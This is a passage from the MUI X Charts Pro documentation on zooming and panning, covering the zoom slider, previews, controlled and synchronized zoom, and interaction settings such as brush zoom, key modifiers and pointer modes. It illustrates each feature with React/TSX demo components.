- If `zoom.filterMode` is set to `"keep"` (default) the data points outside the visible range are kept. Then, other axes will not be impacted.

See how the secondary axis adapts to the visible part of the primary axis in the following example.

```tsx
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import { dataset, valueFormatter } from './letterFrequency';

export default function ZoomFilterMode() {
  return (
    <BarChartPro
      height={300}
      dataset={dataset}
      xAxis={[
        {
          dataKey: 'letter',
          zoom: { filterMode: 'discard' },
        },
      ]}
      yAxis={[{ valueFormatter }]}
      series={[{ label: 'Letter Frequency', dataKey: 'frequency', valueFormatter }]}
    />
  );
}

```

## Zoom slider

You can provide an overview that lets users manipulate the zoomed area by setting the `zoom.slider.enabled` property on the axis config.

```tsx
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';

const dataLength = 801;
const data = Array.from({ length: dataLength }).map((_, i) => ({
  x: i,
  y: 50 + Math.sin(i / 5) * 25,
}));
const series2Data = Array.from({ length: dataLength }).map((_, i) => ({
  x: i,
  y: 50 + Math.sin(i / 10) * 25,
}));

const xData = data.map((d) => d.x);

export default function ZoomSlider() {
  return (
    <ScatterChartPro
      xAxis={[
        {
          id: 'x',
          data: xData,
          zoom: {
            filterMode: 'discard',
            minSpan: 10,
            panning: true,
            slider: { enabled: true },
          },
          valueFormatter: (v: number) => v.toLocaleString('en-US'),
        },
        {
          id: 'x2',
          data: series2Data.map((d) => d.x),
          position: 'top',
          zoom: {
            slider: { enabled: true },
          },
        },
      ]}
      yAxis={[
        { id: 'y', width: 28, zoom: { slider: { enabled: true } } },
        {
          id: 'y2',
          position: 'right',
          width: 28,
          zoom: { slider: { enabled: true } },
        },
      ]}
      series={[{ data }, { data: series2Data, xAxisId: 'x2', yAxisId: 'y2' }]}
      height={400}
      margin={{ bottom: 40 }}
      initialZoom={[
        { axisId: 'x', start: 45, end: 55 },
        { axisId: 'x2', start: 30, end: 70 },
        { axisId: 'y', start: 40, end: 60 },
        { axisId: 'y2', start: 30, end: 70 },
      ]}
    />
  );
}

```

You can set the `zoom.slider.size` property to customize the size reserved for the zoom slider.
This can be useful if you're using a custom zoom slider and want to update the space reserved for it.
If you're using the default zoom slider, updating `zoom.slider.size` effectively changes the padding around the slider.

The size is the height on an x-axis and the width on a y-axis.

### Tooltip

The zoom slider supports a tooltip that displays the current zoom range.

You can configure the tooltip by setting the `zoom.slider.showTooltip` property on the axis config. The following options are available:

- `true`: The tooltip is always displayed.
- `'hover'`: The tooltip is displayed on hover (default).
- `false`: The tooltip is never displayed.

#### Tooltip value formatting

The value shown in the tooltip can also be customized by using the `valueFormatter` property of the respective axis.

When formatting the zoom slider tooltip, the `valueFormatter` is called with `zoom-slider-tooltip` as its location.

```tsx
import * as React from 'react';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import Stack from '@mui/material/Stack';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import Select from '@mui/material/Select';
import MenuItem from '@mui/material/MenuItem';
import type { ZoomSliderShowTooltip } from '@mui/x-charts-pro/models';
import type { AxisValueFormatterContext } from '@mui/x-charts/models';

const uData = [4000, 3000, 2000, 2780, 1890, 2390, 3490];
const pData = [2400, 1398, -9800, 3908, 4800, -3800, 4300];

const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function ZoomSliderTooltip() {
  const [showTooltip, setShowTooltip] =
    React.useState<ZoomSliderShowTooltip>('hover');

  return (
    <Stack width="100%">
      <FormControl sx={{ width: 150, mb: 2, alignSelf: 'center' }}>
        <InputLabel id="show-tooltip-label">Show Tooltip</InputLabel>
        <Select
          labelId="show-tooltip-label"
          id="show-tooltip-select"
          value={showTooltip}
          label="Show Tooltip"
          onChange={(event) =>
            setShowTooltip(event.target.value as ZoomSliderShowTooltip)
          }
        >
          <MenuItem value="always">Always</MenuItem>
          <MenuItem value="hover">On hover</MenuItem>
          <MenuItem value="never">Never</MenuItem>
        </Select>
      </FormControl>

      <BarChartPro
        height={300}
        series={[
          { data: pData, label: 'Blue' },
          { data: uData, label: 'Yellow' },
        ]}
        xAxis={[
          {
            id: 'x',
            data: xLabels,
            valueFormatter: (
              value: string,
              { location }: AxisValueFormatterContext,
            ) =>
              location === 'zoom-slider-tooltip' ? `${value.slice(5)}` : `${value}`,
            zoom: { slider: { enabled: true, showTooltip } },
          },
        ]}
        yAxis={[{ width: 60, max: 10000 }]}
        initialZoom={[{ axisId: 'x', start: 20, end: 80 }]}
      />
    </Stack>
  );
}

```

### Limits

The zoom slider uses the same limits as the zooming options. You can set the `minStart`, `maxEnd`, `minSpan`, and `maxSpan` properties on the axis config to restrict the zoom slider range.

The zoom slider does not display values outside the range delimited by `minStart` and `maxEnd`.

### Composition

When using composition, you can render the axes' sliders by rendering the `ChartZoomSlider` component.

```tsx
import * as React from 'react';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartContainerPro } from '@mui/x-charts-pro/ChartContainerPro';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import { ChartZoomSlider } from '@mui/x-charts-pro/ChartZoomSlider';
import { Chance } from 'chance';

const chance = new Chance(42);

const xAxisData = Array.from({ length: 26 }, (_, i) => String.fromCharCode(65 + i));
const firstSeriesData = Array.from({ length: 26 }, () =>
  chance.integer({ min: 0, max: 10 }),
);
const secondSeriesData = Array.from({ length: 26 }, () =>
  chance.integer({ min: 0, max: 10 }),
);

export default function ZoomSliderComposition() {
  const clipPathId = React.useId();

  return (
    <ChartContainerPro
      series={[
        { type: 'line', data: firstSeriesData },
        { type: 'line', data: secondSeriesData },
      ]}
      xAxis={[
        {
          data: xAxisData,
          scaleType: 'band',
          id: 'x-axis-id',
          height: 45,
          zoom: { slider: { enabled: true } },
        },
      ]}
      height={200}
    >
      <g clipPath={`url(#${clipPathId})`}>
        <BarPlot />
        <LinePlot />
      </g>
      <ChartsXAxis label="X axis" axisId="x-axis-id" />
      <ChartZoomSlider />
      <ChartsClipPath id={clipPathId} />
    </ChartContainerPro>
  );
}

```

## Preview

When the zoom slider is enabled, you can preview the zoomed area by enabling the `zoom.slider.preview` property on the axis config.

```tsx
import * as React from 'react';
import { LineChartPro, LineChartProProps } from '@mui/x-charts-pro/LineChartPro';
import {
  AxisValueFormatterContext,
  ScatterValueType,
  XAxis,
} from '@mui/x-charts/models';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import {
  ScatterChartPro,
  ScatterChartProProps,
} from '@mui/x-charts-pro/ScatterChartPro';
import { BarChartPro, BarChartProProps } from '@mui/x-charts-pro/BarChartPro';
import {
  BarChartPremium,
  BarChartPremiumProps,
} from '@mui/x-charts-premium/BarChartPremium';
import {
  dateAxisFormatter,
  usUnemploymentRate,
} from '../dataset/usUnemploymentRate';
import { globalGdpPerCapita } from '../dataset/globalGdpPerCapita';
import { globalBirthPerWoman } from '../dataset/globalBirthsPerWoman';
import {
  continents,
  countriesInContinent,
  countryData,
} from '../dataset/countryData';
import { shareOfRenewables } from '../dataset/shareOfRenewables';
import { populationPrediction2050 } from '../dataset/populationPrediction2050';
import { temperatureBerlinPorto } from '../dataset/temperatureBerlinPorto';

const lineData = usUnemploymentRate.map((d) => d.rate / 100);

const percentageFormatter = new Intl.NumberFormat(undefined, {
  style: 'percent',
  minimumSignificantDigits: 1,
  maximumSignificantDigits: 3,
});
const gdpPerCapitaFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  notation: 'compact',
});
const populationFormatter = new Intl.NumberFormat('en-US', { notation: 'compact' });

const lineXAxis = {
  scaleType: 'time',
  id: 'x',
  data: usUnemploymentRate.map((d) => d.date),
  valueFormatter: dateAxisFormatter,
} satisfies XAxis;

const lineSettings = {
  yAxis: [
    {
      id: 'y',
      width: 44,
      valueFormatter: (v: number | null) => percentageFormatter.format(v!),
      min: 0,
    },
  ],
  series: [
    {
      data: lineData,
      showMark: false,
      valueFormatter: (v: number | null) => percentageFormatter.format(v!),
    },
  ],
  height: 400,
} satisfies Partial<LineChartProProps>;

const areaXAxis = {
  id: 'x',
  data: new Array(101).fill(null).map((_, i) => i),
  label: 'Age',
  valueFormatter: (v: number | null) =>
    v === 100 ? '100+' : Math.round(v!).toString(),
} satisfies XAxis;

const areaSettings = {
  yAxis: [
    {
      id: 'y',
      width: 44,
      valueFormatter: (v: number | null) => populationFormatter.format(v!),
    },
  ],
  series: ['Europe', 'Asia', 'Americas', 'Africa', 'Oceania'].map((continent) => ({
    data: populationPrediction2050
      .filter((point) => point.location === continent)
      .map((point) => point.value),
    showMark: false,
    area: true,
    label: continent,
    stack: 'population',
    valueFormatter: (v: number | null) => populationFormatter.format(v!),
  })),
  height: 400,
} satisfies Partial<LineChartProProps>;

const scatterXAxis = {
  valueFormatter: (v: number | null) => gdpPerCapitaFormatter.format(v!),
};
const scatterSettings = {
  yAxis: [{ id: 'y', width: 16, min: 0 }],
  series: continents.map((continent) => ({
    label: continent,
    data: countriesInContinent[continent]
      .map((code) => ({
        id: code,
        x: globalGdpPerCapita.find((d) => d.code === code)?.gdpPerCapita,
        y: globalBirthPerWoman.find((d) => d.code === code)?.rate,
      }))
      .filter(
        (d): d is { id: string; x: number; y: number } =>
          d.x !== undefined && d.y !== undefined,
      ),
    valueFormatter: (value: ScatterValueType | null) =>
      `${countryData[value!.id as keyof typeof countryData].country} - Birth rate: ${value!.y} - GDP per capita: ${gdpPerCapitaFormatter.format(value!.x)}`,
  })),
  height: 400,
} satisfies Partial<ScatterChartProProps>;

const sortedShareOfRenewables = shareOfRenewables.toSorted(
  (a, b) => a.renewablesPercentage - b.renewablesPercentage,
);
const barXAxis = {
  data: sortedShareOfRenewables.map((d) => countryData[d.code].country),
  tickLabelStyle: { angle: -45 },
  height: 90,
} satisfies XAxis<'band'>;
const barSettings = {
  series: [
    {
      data: sortedShareOfRenewables.map((d) => d.renewablesPercentage / 100),
      valueFormatter: (v: number | null) => percentageFormatter.format(v!),
    },
  ],
  height: 400,
} satisfies Partial<BarChartProProps>;

const rangeBarXAxis = {
  data: temperatureBerlinPorto.months,
  valueFormatter: (v: string, context: AxisValueFormatterContext) =>
    context.location === 'tick' ? v.slice(0, 3) : v,
} satisfies XAxis<'band'>;
const rangeBarSettings = {
  yAxis: [{ valueFormatter: (value: number) => `${value}°C` }],
  series: [
    {
      id: 'porto',
      type: 'rangeBar',
      label: 'Porto, Portugal',
      valueFormatter: (value) =>
        value === null ? null : `${value[0]}°C - ${value[1]}°C`,
      data: temperatureBerlinPorto.porto,
    },
    {
      id: 'berlin',
      type: 'rangeBar',
      label: 'Berlin, Germany',
      valueFormatter: (value) =>
        value === null ? null : `${value[0]}°C - ${value[1]}°C`,
      data: temperatureBerlinPorto.berlin,
    },
  ],
  height: 300,
} satisfies BarChartPremiumProps;

export default function ZoomSliderPreview() {
  const [chartType, setChartType] = React.useState('bar');

  const handleChartType = (event: any, newChartType: string) => {
    if (newChartType !== null) {
      setChartType(newChartType);
    }
  };

  return (
    <Stack width="100%" gap={2}>
      <ToggleButtonGroup
        value={chartType}
        exclusive
        onChange={handleChartType}
        aria-label="chart type"
        fullWidth
      >
        {['bar', 'rangeBar', 'line', 'area', 'scatter'].map((type) => (
          <ToggleButton key={type} value={type}>
            {type}
          </ToggleButton>
        ))}
      </ToggleButtonGroup>
      {chartType === 'bar' && <BarChartPreview />}
      {chartType === 'rangeBar' && <RangeBarChartPreview />}
      {chartType === 'line' && <LineChartPreview />}
      {chartType === 'area' && <AreaChartPreview />}
      {chartType === 'scatter' && <ScatterChartPreview />}
    </Stack>
  );
}

function LineChartPreview() {
  return (
    <React.Fragment>
      <Typography variant="h6" sx={{ alignSelf: 'center' }}>
        Unemployment Rate in United States (1948-2025)
      </Typography>
      <LineChartPro
        {...lineSettings}
        xAxis={[
          { ...lineXAxis, zoom: { slider: { enabled: true, preview: true } } },
        ]}
      />
      <Typography variant="caption">
        Source: Federal Reserve Bank of St. Louis. Updated: Jun 6, 2025 7:46 AM CDT.
      </Typography>
    </React.Fragment>
  );
}

function AreaChartPreview() {
  return (
    <React.Fragment>
      <Typography variant="h6" sx={{ alignSelf: 'center' }}>
        Population by Age Group in 2050 (Projected)
      </Typography>
      <LineChartPro
        {...areaSettings}
        xAxis={[
          { ...areaXAxis, zoom: { slider: { enabled: true, preview: true } } },
        ]}
      />
      <Typography variant="caption">
        Source: World Population Prospects: The 2024 Revision, United Nations.
      </Typography>
    </React.Fragment>
  );
}

function BarChartPreview() {
  return (
    <React.Fragment>
      <Typography variant="h6" sx={{ alignSelf: 'center' }}>
        Share of Primary Energy Consumption from Renewables (2023)
      </Typography>
      <BarChartPro
        {...barSettings}
        xAxis={[{ ...barXAxis, zoom: { slider: { enabled: true, preview: true } } }]}
      />
      <Typography variant="caption">
        Source: Our World in Data. Updated: 2023.
      </Typography>
    </React.Fragment>
  );
}

function RangeBarChartPreview() {
  return (
    <React.Fragment>
      <Typography variant="h6" sx={{ alignSelf: 'center' }}>
        Average monthly temperature ranges in °C for Porto and Berlin in 1991-2020
      </Typography>
      <BarChartPremium
        {...rangeBarSettings}
        xAxis={[
          { ...rangeBarXAxis, zoom: { slider: { enabled: true, preview: true } } },
        ]}
      />
      <Typography variant="caption">
        Source: IPMA (Porto), climate-data.org (Berlin)
      </Typography>
    </React.Fragment>
  );
}

function ScatterChartPreview() {
  return (
    <React.Fragment>
      <Typography variant="h6" sx={{ alignSelf: 'center' }}>
        Births per woman vs GDP per capita (USD, 2023)
      </Typography>
      <ScatterChartPro
        {...scatterSettings}
        xAxis={[
          { ...scatterXAxis, zoom: { slider: { enabled: true, preview: true } } },
        ]}
      />
      <Typography variant="caption">
        GDP per capita is expressed in international dollars at 2021 prices. <br />
        Source: Our World in Data. Updated: 2023.
      </Typography>
    </React.Fragment>
  );
}

```

### Scatter marker size

The size of the preview marker in scatter charts is 1px by default.
You can customize it by setting the `zoom.slider.preview.markerSize` property on the series configuration object.

```tsx
import * as React from 'react';
import { ScatterValueType } from '@mui/x-charts/models';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import {
  ScatterChartPro,
  ScatterChartProProps,
} from '@mui/x-charts-pro/ScatterChartPro';
import Slider from '@mui/material/Slider';
import { globalGdpPerCapita } from '../dataset/globalGdpPerCapita';
import { globalBirthPerWoman } from '../dataset/globalBirthsPerWoman';
import {
  continents,
  countriesInContinent,
  countryData,
} from '../dataset/countryData';

const gdpPerCapitaFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  notation: 'compact',
});

const scatterXAxis = {
  valueFormatter: (v: number | null) => gdpPerCapitaFormatter.format(v!),
};

const dataPerContinent = continents.map((continent) =>
  countriesInContinent[continent]
    .map((code) => ({
      id: code,
      x: globalGdpPerCapita.find((d) => d.code === code)?.gdpPerCapita,
      y: globalBirthPerWoman.find((d) => d.code === code)?.rate,
    }))
    .filter(
      (d): d is { id: string; x: number; y: number } =>
        d.x !== undefined && d.y !== undefined,
    ),
);

const scatterSettings = {
  yAxis: [{ id: 'y', width: 16, min: 0 }],
  height: 300,
} satisfies Partial<ScatterChartProProps>;

export default function ZoomSliderPreviewCustomMarkerSize() {
  const [markerSize, setMarkerSize] = React.useState(2);
  const series = continents.map((continent, continentIndex) => ({
    label: continent,
    data: dataPerContinent[continentIndex],
    preview: { markerSize },
    valueFormatter: (value: ScatterValueType | null) =>
      `${countryData[value!.id as keyof typeof countryData].country} - Birth rate: ${value!.y} - GDP per capita: ${gdpPerCapitaFormatter.format(value!.x)}`,
  }));

  return (
    <Stack
      width="100%"
      gap={2}
      direction="row"
      justifyContent="center"
      flexWrap={{ xs: 'wrap-reverse', sm: 'nowrap' }}
    >
      <Stack width="100%" gap={2}>
        <Typography variant="h6" sx={{ alignSelf: 'center' }}>
          Births per woman vs GDP per capita (USD, 2023)
        </Typography>
        <ScatterChartPro
          {...scatterSettings}
          xAxis={[
            { ...scatterXAxis, zoom: { slider: { enabled: true, preview: true } } },
          ]}
          series={series}
        />
        <Typography variant="caption">
          GDP per capita is expressed in international dollars at 2021 prices. <br />
          Source: Our World in Data. Updated: 2023.
        </Typography>
      </Stack>

      <Stack
        minWidth="120px"
        justifyContent="center"
        alignItems="center"
        alignSelf="center"
      >
        <Typography id="marker-size-slider" gutterBottom>
          Marker Size: {markerSize}
        </Typography>
        <Slider
          size="small"
          min={1}
          max={10}
          aria-labelledby="marker-size-slider"
          onChange={(event, value) => setMarkerSize(value)}
          value={markerSize}
        />
      </Stack>
    </Stack>
  );
}

```

## Zoom management

### External zoom management

You can manage the zoom state by two means:

- By defining an initial state with the `initialZoom` prop.
- By imperatively setting a zoom value with the `setZoomData()` method of the public API.

In addition, the `onZoomChange` prop is a function that receives the new zoom state.

The `zoom` state is an array of objects that define the zoom state for each axis with zoom enabled.

- **axisId**: The id of the axis to control.
- **start**: The starting percentage of the axis range.
- **end**: The ending percentage of the zoom range.

```tsx
import * as React from 'react';
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import { ZoomData } from '@mui/x-charts-pro/models';
import { useChartProApiRef } from '@mui/x-charts-pro/hooks';
import { randomData } from './randomData';

const initialZoomData: ZoomData[] = [
  {
    axisId: 'my-x-axis',
    start: 20,
    end: 40,
  },
];
export default function ExternalZoomManagement() {
  const apiRef = useChartProApiRef<'line'>();
  const [zoomData, setZoomData] = React.useState(initialZoomData);

  return (
    <Stack sx={{ width: '100%', justifyContent: 'flex-start' }}>
      <LineChartPro
        {...chartProps}
        initialZoom={initialZoomData}
        apiRef={apiRef}
        onZoomChange={setZoomData}
        xAxis={[
          {
            zoom: true,
            scaleType: 'point',
            id: 'my-x-axis',
            data: randomData.map((v, i) => i),
          },
        ]}
      />
      <pre>{JSON.stringify(zoomData, null, 2)}</pre>
      <div>
        <Button
          variant="contained"
          onClick={() =>
            apiRef.current?.setZoomData([
              { axisId: 'my-x-axis', start: 0, end: 100 },
            ])
          }
        >
          Reset zoom
        </Button>
      </div>
    </Stack>
  );
}

const chartProps = {
  height: 300,
  sx: { width: '100%' },
  series: [
    {
      label: 'Series A',
      data: randomData.map((v) => v.y1),
    },
    {
      label: 'Series B',
      data: randomData.map((v) => v.y2),
    },
  ],
};

```

### Zoom synchronization

To synchronize zoom between multiple charts, you can control the zoom state.

```tsx
import * as React from 'react';
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import { ZoomData } from '@mui/x-charts-pro/models';
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import { randomData } from './randomData';

const lineAxis = [
  {
    zoom: true,
    scaleType: 'point' as const,
    id: 'shared-x-axis',
    data: randomData.map((v, i) => i),
  },
];

const barAxis = [
  {
    zoom: true,
    id: 'shared-x-axis',
    data: randomData.map((v, i) => i),
  },
];

const initialZoomData: ZoomData[] = [
  {
    axisId: 'shared-x-axis',
    start: 20,
    end: 40,
  },
];
export default function ZoomControlled() {
  const [zoomData, setZoomData] = React.useState(initialZoomData);

  return (
    <Stack sx={{ width: '100%', justifyContent: 'flex-start' }}>
      <LineChartPro
        {...chartProps}
        onZoomChange={setZoomData}
        zoomData={zoomData}
        xAxis={lineAxis}
      />
      <BarChartPro
        {...chartProps}
        onZoomChange={setZoomData}
        zoomData={zoomData}
        xAxis={barAxis}
      />
      <pre>{JSON.stringify(zoomData, null, 2)}</pre>
      <div>
        <Button
          variant="contained"
          onClick={() =>
            setZoomData([{ axisId: 'shared-x-axis', start: 0, end: 100 }])
          }
        >
          Reset zoom
        </Button>
      </div>
    </Stack>
  );
}

const chartProps = {
  height: 300,
  sx: { width: '100%' },
  series: [
    {
      label: 'Series A',
      data: randomData.map((v) => v.y1),
    },
    {
      label: 'Series B',
      data: randomData.map((v) => v.y2),
    },
  ],
};

```

## Zoom interactions configuration

You can have fine-grained control over which interactions are enabled and under which conditions by using the `zoomInteractionConfig` prop.

### Interactions

The `zoomInteractionConfig` prop allows you to specify which interactions are enabled for zooming and panning:

```jsx
<BarChartPro
  zoomInteractionConfig={{
    // Enable wheel, pinch, and tap-and-drag zoom
    zoom: ['wheel', 'pinch', 'tapAndDrag'],
    // Enable drag panning
    pan: ['drag'],
  }}
/>
```

**Zoom** interactions:

- `wheel` (default): Zoom in/out by scrolling the mouse wheel
- `pinch` (default): Zoom in/out by pinching on touch devices
- `tapAndDrag`: Zoom in/out by tapping twice and then dragging vertically. Dragging up zooms in, dragging down zooms out.
- `brush`: Zoom into a selected area by clicking and dragging to create a selection rectangle.
- `doubleTapReset`: Reset the zoom level to the original state when double-tapping.

**Pan** interactions:

- `wheel` (default\*): Pan the chart by scrolling the mouse wheel. On a desktop trackpad, it enables pan using two fingers. Only pans the horizontal axis by default. Use `allowedDirection` to customize which axes are affected.
- `drag` (default): Pan the chart by dragging with the mouse or touch
- `pressAndDrag`: Pan the chart by pressing and holding, then dragging. Useful for avoiding conflicts with selection gestures.

:::warning

\* The `wheel` pan interaction is only added automatically if pan is enabled for at least one of the x-axis and none of the y-axis.
:::

:::info
When modifying the zoom interaction configuration, care should be taken as to not create a bad user experience.

For example, the "drag" and "brush" interactions do not work well together.

If both are needed, the `pointerMode` and `requiredKeys` options described in the next sections can help.

:::

```tsx
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const knobs = {
  // Zoom interactions
  zoom: {
    knob: 'title',
    displayName: 'Zoom interactions',
  },
  wheel: {
    displayName: 'Wheel',
    knob: 'switch',
    defaultValue: true,
  },
  pinch: {
    displayName: 'Pinch',
    knob: 'switch',
    defaultValue: true,
  },
  tapAndDrag: {
    displayName: 'Tap and drag',
    knob: 'switch',
    defaultValue: false,
  },
  brush: {
    displayName: 'Brush',
    knob: 'switch',
    defaultValue: false,
  },
  doubleTapReset: {
    displayName: 'Double tap reset',
    knob: 'switch',
    defaultValue: false,
  },

  // Pan interactions
  pan: {
    knob: 'title',
    displayName: 'Pan interactions',
  },
  drag: {
    displayName: 'Drag',
    knob: 'switch',
    defaultValue: true,
  },
  pressAndDrag: {
    displayName: 'Press and drag',
    knob: 'switch',
    defaultValue: false,
  },
  wheelPan: {
    displayName: 'Pan on wheel',
    knob: 'switch',
    defaultValue: true,
  },
} as const;

export default function ZoomAndPanInteractions() {
  return (
    <ChartsUsageDemo
      componentName="Zoom and Pan Interactions demo"
      data={knobs}
      renderDemo={(props) => {
        // Build zoom interactions array
        const zoomInteractions: any[] = [];
        if (props.wheel) {
          zoomInteractions.push('wheel');
        }
        if (props.pinch) {
          zoomInteractions.push('pinch');
        }
        if (props.tapAndDrag) {
          zoomInteractions.push('tapAndDrag');
        }
        if (props.brush) {
          zoomInteractions.push('brush');
        }
        if (props.doubleTapReset) {
          zoomInteractions.push('doubleTapReset');
        }

        // Build pan interactions array
        const panInteractions: any[] = [];
        if (props.drag) {
          panInteractions.push('drag');
        }
        if (props.pressAndDrag) {
          panInteractions.push('pressAndDrag');
        }
        if (props.wheelPan) {
          panInteractions.push('wheel');
        }

        const zoomInteractionConfig = {
          zoom: zoomInteractions,
          pan: panInteractions,
        };

        return (
          <div style={{ width: '100%' }}>
            <ScatterChartPro
              height={300}
              xAxis={[
                {
                  data: data.map((v, i) => i),
                  zoom: true,
                },
              ]}
              yAxis={[
                {
                  zoom: true,
                  width: 40,
                },
              ]}
              series={series}
              zoomInteractionConfig={zoomInteractionConfig}
            />
          </div>
        );
      }}
      getCode={({ props }) => {
        // Build zoom interactions array for code generation
        const zoomInteractions: any[] = [];
        if (props.wheel) {
          zoomInteractions.push('wheel');
        }
        if (props.pinch) {
          zoomInteractions.push('pinch');
        }
        if (props.tapAndDrag) {
          zoomInteractions.push('tapAndDrag');
        }
        if (props.brush) {
          zoomInteractions.push('brush');
        }
        if (props.doubleTapReset) {
          zoomInteractions.push('doubleTapReset');
        }

        // Build pan interactions array
        const panInteractions: any[] = [];
        if (props.drag) {
          panInteractions.push('drag');
        }
        if (props.pressAndDrag) {
          panInteractions.push('pressAndDrag');
        }
        if (props.wheelPan) {
          panInteractions.push('wheel');
        }

        const zoomConfig =
          zoomInteractions.length > 0
            ? `["${zoomInteractions.join('", "')}"]`
            : '[]';
        const panConfig =
          panInteractions.length > 0 ? `["${panInteractions.join('", "')}"]` : '[]';

        return `import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';

<ScatterChartPro
  // ...
  zoomInteractionConfig={{
    zoom: ${zoomConfig},
    pan: ${panConfig},
  }}
/>`;
      }}
    />
  );
}

const data = [
  {
    x: 443,
    y: 153,
  },
  {
    x: 110,
    y: 217,
  },
  {
    x: 175,
    y: 286,
  },
  {
    x: 195,
    y: 325,
  },
  {
    x: 351,
    y: 144,
  },
  {
    x: 43,
    y: 146,
  },
  {
    x: 376,
    y: 309,
  },
  {
    x: 31,
    y: 236,
  },
  {
    x: 231,
    y: 440,
  },
  {
    x: 108,
    y: 20,
  },
];

const series = [
  {
    label: 'Series A',
    data,
  },
];

```

### Brush zoom

The brush zoom interaction allows users to select a specific area to zoom into by clicking and dragging to create a selection rectangle.
This provides an intuitive way to focus on a particular region of interest in the chart.

```tsx
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';

export default function BrushZoom() {
  return (
    <Box sx={{ width: '100%' }}>
      <Typography variant="body2" sx={{ mb: 2 }}>
        Click and drag on the chart to select an area to zoom into. Double-tap to
        reset the zoom.
      </Typography>
      <LineChartPro
        height={300}
        series={[
          {
            data: yData,
            label: 'Temperature (°C)',
            area: true,
          },
        ]}
        xAxis={[
          {
            data: xData,
            scaleType: 'point',
            zoom: true,
          },
        ]}
        zoomInteractionConfig={{
          // Enable brush zoom and double-tap reset
          zoom: ['brush', 'doubleTapReset'],
          // Disable default interactions for this demo
          pan: [],
        }}
      />
    </Box>
  );
}

const xData = [
  'Jan',
  'Feb',
  'Mar',
  'Apr',
  'May',
  'Jun',
  'Jul',
  'Aug',
  'Sep',
  'Oct',
  'Nov',
  'Dec',
];

const yData = [2, 5.5, 9, 13.5, 18, 21, 23.5, 23, 20, 15, 9, 4];

```

### Key modifiers

Some interactions allow setting up required keys to be pressed to enable the interaction.
This can be set up using the `requiredKeys` property in the interaction configuration.

```jsx
<BarChartPro
  zoomInteractionConfig={{
    // Only zoom when Control key is pressed
    zoom: [{ type: 'wheel', requiredKeys: ['Control'] }],
    // Only pan when Shift key is pressed
    pan: [{ type: 'drag', requiredKeys: ['Shift'] }],
  }}
/>
```

Available keys include:

- Modifier keys: `'Shift'`, `'Control'`, `'Alt'`, `'Meta'`
- `'ControlOrMeta'` which resolves to `Control` on Windows and Linux and to `Meta` on macOS.
- Any other key can be used as well, such as `'Space'` and `'Enter'` based on [`event.key` values](https://developer.mozilla.org/en-US/docs/Web/API/UI_Events/Keyboard_event_key_values).

It is also possible to require multiple keys to be pressed simultaneously:

```jsx
<BarChartPro
  zoomInteractionConfig={{
    // Only pan when both Shift and Control are pressed
    pan: [{ type: 'drag', requiredKeys: ['Shift', 'Control'] }],
  }}
/>
```

### Pointer Modes

Interactions can also be restricted to specific pointer types by using the `mode` property:

```jsx
<BarChartPro
  zoomInteractionConfig={{
    // Only pan with touch, not mouse
    pan: [{ type: 'drag', pointerMode: 'touch' }],
  }}
  // other props
/>
```

Available pointer modes:

- `undefined`: Allow both mouse and touch interactions (default)
- `'mouse'`: Only allow mouse interactions
- `'touch'`: Only allow touch interactions

### Multiple interactions of the same type

It is possible to define multiple interactions of the same type with different configurations.

In the example below, the pan `drag` interaction is configured to require a specific key combination for mouse, while touch interactions don't require any key to be pressed:

```jsx
<BarChartPro
  zoomInteractionConfig={{
    pan: [
      { type: 'drag', pointerMode: 'mouse', requiredKeys: ['ControlOrMeta'] },
      { type: 'drag', pointerMode: 'touch', requiredKeys: [] },
    ],
  }}
  // other props
/>
```